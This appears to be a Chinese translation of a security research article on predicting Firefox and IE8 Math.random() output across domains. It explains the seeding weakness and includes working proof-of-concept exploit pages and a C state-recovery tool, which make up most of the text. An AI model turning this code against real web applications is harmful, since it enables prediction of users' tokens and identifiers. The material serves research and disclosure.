我最近在一个Web应用中发现了一个有趣的安全问题,可以使攻击者预测出Javascript的Math.random()方法在web应用所在域的窗口中产生的随机数。所以我想知道能否从其他的域来预测某个域调用Math.random()所产生的随机数。惊奇的是,答案是“可以”。
至少你需要使用FireFox或者IE8及以下版本的浏览器。我把这种技术叫做跨域Math.random()预测(Cross-domain Math.random() prediction)。
JavaScript中Math.random()方法在不同浏览器中的弱点已经不是什么新鲜的东西了。Amit Klein写过几个Paper介绍过它们。而我们这篇文章的目的主要去展示这种技术的细节并在当前环境下展示这种预测技术。在这篇文章中,我会整体分析并介绍这种技术。在后续的文章中,我会提供一个存在该安全问题的Web应用以便大家测试(当然是在漏洞被官方修复之后)。
通常,要实施这种攻击,需要符合下面的一些条件:
1,一个Web页面使用Math.radom()生成随机数。
2,攻击者可以获知这个随机数。
3,攻击者可以控制什么时候让该页面生成这个随机数。(例如:当我在存在漏洞的Web应用中打开一个新的页面)
我们来举个例子,生成随机数的功能通常会被用来确认一个用户是否在使用某一Web应用。
现在我们来看看什么使得这种攻击成为可能。
伪随机数生成器(PRNG)的实现在IE9和Firefox的中都很相似,并且已经在Amit Klein的Paper中详细介绍了。
我们只需要记住以下几点:
1,两种实现方法都是基于使用一个当前时间(以毫秒为单位)所产生的48位PRNG状态种子,这个状态以(state*a+b)%(2^48)的方式不断更新,其中a和b是一个固定的值。
2,在Firefox中,PRNG种子实际上是基于一个与当前时间(以毫秒为单位)异或得到的值与另一个由两个指针异或得来的值。然而,根据我的观察这些指针的值通常都非常接近以至于异或操作的结果在两者之间是一个非常小的值(<1000)。这意味着,以实践的角度来看,我们可以认为在Firefox中的PRNG状态种子是根据当前的毫秒时间+/-1000而得到的。
3,在Firefox中,每个页面都会拥有自己的PRNG,而在IE8及以下版本的浏览器中每个标签页都会有自己的PRNG并且各自的PRNG不会随着标签中页面的改变而改变,即使新的页面是另外一个域。
这种情况就为我们提供了两种算法去实现这种攻击技术,其中一个只能针对IE有效,而另一个在IE和Firefox中均有效。下面有关于攻击方法的描述。代码实例可以参看下面“示例代码”段的内容。
第一种攻击 (IE 8 and below only)
此版本的攻击方法是基于IE不会重置每个标签页的PRNG这样一个事实。方法如下:
1,攻击者让一个用户访问他的恶意页面。
2,攻击者的恶意页面产生一个随机数并使用它去推算当前的PRNG状态数。
3,PRNG状态数被发送给攻击者。这个数可以用来预测之后在该标签页中使用Math.random()生成的任何随机数。
4,攻击者的页面重定向受害者到存在漏洞的Web应用。
第二种方法 (IE8 and below, Firefox)
此版本的攻击方法基于猜测当前的PRNG的值,方法如下:
1,攻击者让一个用户访问他构造的恶意页面。
2,页面记录下当前时间并打开一个新的窗口跳转到存在漏洞的Web应用中。
3,根据当前时间t,可以对新窗口的PRNG种子值进行预测。如果猜测正确,攻击者可以预测该窗口中由Math.random()所产生的随机数的值。
注意这种方法依赖与猜测种子数的值。因为种子的值是根据当前的毫秒时间生成的,这意味着,如果我们可以进行多次反复猜测,得到正确结构的几率还是非常大的。举个例子,如果我们能在误差以秒为单位的情况下预测出PRNG,在IE和Firefox下我们有1/1000的机会能够猜中。如果我们有几百次猜测的机会,成功的几率还是很大的,尤其考虑到PRNG状态种子在IE和Firefox中是48位的。
关于其他浏览器:
IE9并不存在这种漏洞因为:
-每个标签页都有自己的PRNG并且
-PRNG的产生是根据高精确度的计数器和额外的熵源。
谷歌Chrome同样不存在这种类型的漏洞因为:
-每个页面都有自己的PRNG并且
-PRNG是通过一个密码学上非常安全的rand_s函数来产生的
示例代码:
“rand.html”。这个页面只是产生随机数并显示出来。下面两个页面的目的是预测这个随机数。
<html> <head> <script> document.write("I generated: " + Math.random()); </script> </head> <body> </body> </html>
“exploit1.php”。这个页面使用第一种方法(只针对IE浏览器有效)来在其他域中预测Math.random()所产生的值。但是在相同的页面中它使用decodestate.exe来对当前的PRNG状态数进行编码。
<?php if (isset($_REQUEST['r'])) { $state = exec("decodestate.exe ".$_REQUEST['r']); ?> <html> <head> <script> //目标页面,可以在其他域中 var targetURL = "http://127.0.0.1/rand.html" var a_hi = 0x5DE; var a_lo = 0xECE66D; var b = 0x0B; var state_lo = 0; var state_hi = 0; var max_half = 0x1000000; //对PRNG的预处理 function advanceState() { var tmp_lo,tmp_hi,carry; tmp_lo = state_lo*a_lo + b; tmp_hi = state_lo*a_hi + state_hi*a_lo; if(tmp_lo>=max_half) { carry = Math.floor(tmp_lo/max_half); tmp_hi = tmp_hi + carry; tmp_lo = tmp_lo % max_half; } tmp_hi = tmp_hi % max_half; state_lo = tmp_lo; state_hi = tmp_hi; } //根据预测的PRNG的值来获得下一次random()产生的随机数。 function PredictRand() { var first,second; var num, res; advanceState(); first = (state_hi*8) + Math.floor(state_lo/0x200000); advanceState(); second = (state_hi*8) + Math.floor(state_lo/0x200000); num = first * 0x8000000 + second; res = num/Math.pow(2,54); return res; } function start() { var state = <?php echo($state); ?>; state_hi = Math.floor(state/max_half); state_lo = state%max_half; alert("I predicted : " + PredictRand()); window.location = targetURL; } </script> </head> <body onload="start()"> </body> </html> <?php } else { ?> <html> <head> <script> function start() { document.forms[0].r.value=Math.random(); document.forms[0].submit(); } </script> </head> <body onload="start()"> <form method="POST" onSubmit="f()"> <input type="hidden" name="r"> </form> </body> </html> <?php } ?>
“decodestate.exe”的源代码:
#include <stdlib.h> #include <stdio.h> #define UINT64(x) (x##I64) typedef unsigned __int64 uint64; typedef unsigned int uint32; #define a UINT64(0x5DEECE66D) #define b UINT64(0xB) uint64 adv(uint64 x) { return (a*x+b) & ((UINT64(1)<<48)-1); } int main(int argc, char* argv[]) { double sample=atof(argv[1]); uint64 sample_int=sample*((double)(UINT64(1)<<54)); uint32 x1=sample_int>>27; uint32 x2=sample_int & ((1<<27)-1); for (int v=0;v<(1<<21);v++) { uint64 state=adv((((uint64)x1)<<21)|v); uint32 out=state>>(48-27); if ((sample_int & (UINT64(1)<<53)) && (out & 1)) { // Turn off least significant bit (which we know is 1). out--; // Perform Round to Nearest (even number, but keep in mind that // we don't count the least significant bit) if (out & 2) { out+=2; } } if (out==x2) { printf("%lld\n",state); return 0; } } // Not found printf("-1\n"); return 0; }
“exploit2.html”。这个页面使用第二种方法(针对IE和Firefox均有效)来预测Math.random()的值(将会执行多次预测来得到一次正确的结果)
<html> <head> <script> //target page, possibly in another domain var targetURL = "http://127.0.0.1/rand.html" //为了避免预测中出现的问题 //我们将每个48位的数字拆分 //成24位的两等份 (_lo & _hi) var a_hi = 0x5DE; var a_lo = 0xECE66D; var b = 0x0B; var state_lo = 0; var state_hi = 0; var max_half = 0x1000000; var max_32 = 0x100000000; var max_16 = 0x10000; var max_8 = 0x100; //对PRNG的预处理 function advanceState() { var tmp_lo,tmp_hi,carry; tmp_lo = state_lo*a_lo + b; tmp_hi = state_lo*a_hi + state_hi*a_lo; if(tmp_lo>=max_half) { carry = Math.floor(tmp_lo/max_half); tmp_hi = tmp_hi + carry; tmp_lo = tmp_lo % max_half; } tmp_hi = tmp_hi % max_half; state_lo = tmp_lo; state_hi = tmp_hi; } function InitRandPredictor(seedTime) {} //初始化 PRNG function InitRandPredictorFF(seedTime) { var seed_lo,seed_hi; seed_hi = Math.floor(seedTime/max_half); seed_lo = seedTime%max_half; state_lo = seed_lo ^ a_lo; state_hi = seed_hi ^ a_hi; } //初始化 PRNG function InitRandPredictorIE(seedTime) { var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14]; var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2; timeh = Math.floor(seedTime/max_32); timel1 = Math.floor((seedTime%max_32)/max_16); timel2 = seedTime%max_16; statel = timeh ^ timel2; tmp1 = timel1 ^ 0xDEEC; tmp2 = timel2 ^ 0xE66D; stateh1 = 0; stateh2 = 0; for(var i=0;i<16;i++) { if(pos[i]<16) { stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]); } else { stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16)); } } for(var i=16;i<32;i++) { if(pos[i]<16) { stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]); } else { stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16)); } } state_hi = (stateh1<<8) + Math.floor(stateh2/max_8); state_lo = ((stateh2%max_8)<<16) + statel; } function PredictRand() { return(-1); } //根据预测的PRNG结果获取下一次由random()产生的值。 function PredictRandFF() { var first,second; var num, res; advanceState(); first = (state_hi*4) + Math.floor(state_lo/0x400000); advanceState(); second = (state_hi*8) + Math.floor(state_lo/0x200000); num = first * 0x8000000 + second; res = num/Math.pow(2,53); return res; } //根据预测的PRNG结果获取下一次由random()产生的值。 function PredictRandIE() { var first,second; var num, res; advanceState(); first = (state_hi*8) + Math.floor(state_lo/0x200000); advanceState(); second = (state_hi*8) + Math.floor(state_lo/0x200000); num = first * 0x8000000 + second; res = num/Math.pow(2,54); return res; } function start() { var msfrom,msto; //浏览器判断 if(navigator.userAgent.indexOf("MSIE 8.0")>=0) { InitRandPredictor = InitRandPredictorIE; PredictRand = PredictRandIE; msfrom = 0; msto = 1000; } else if(navigator.userAgent.indexOf("Firefox")>=0) { InitRandPredictor = InitRandPredictorFF; PredictRand = PredictRandFF; //FF中需要更大的范围来处理额外的熵 msfrom = -1000; msto = 2000; } else { alert("Sorry, your browser is not supported"); return; } var d = new Date(); var t = d.getTime(); var w = window.open(targetURL); var predictions = "At time " + t.toString() + " I predicted: <br />"; for(var i=msfrom;i<msto;i++) { InitRandPredictor(t+i); //InitRandPredictor(1338400821077); predictions += PredictRand() + "<br />"; } document.getElementById("prediction").innerHTML = predictions; } </script> </head> <button onclick="start()">Click Me!</button> <br/> <div id="prediction"> </body> </html>
译:Pnig0s
参考文献:
[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf
[2]http://www.trusteer.com/sites/default/files/VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf
[3] http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
[4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx
[5] http://en.wikipedia.org/wiki/CryptGenRandom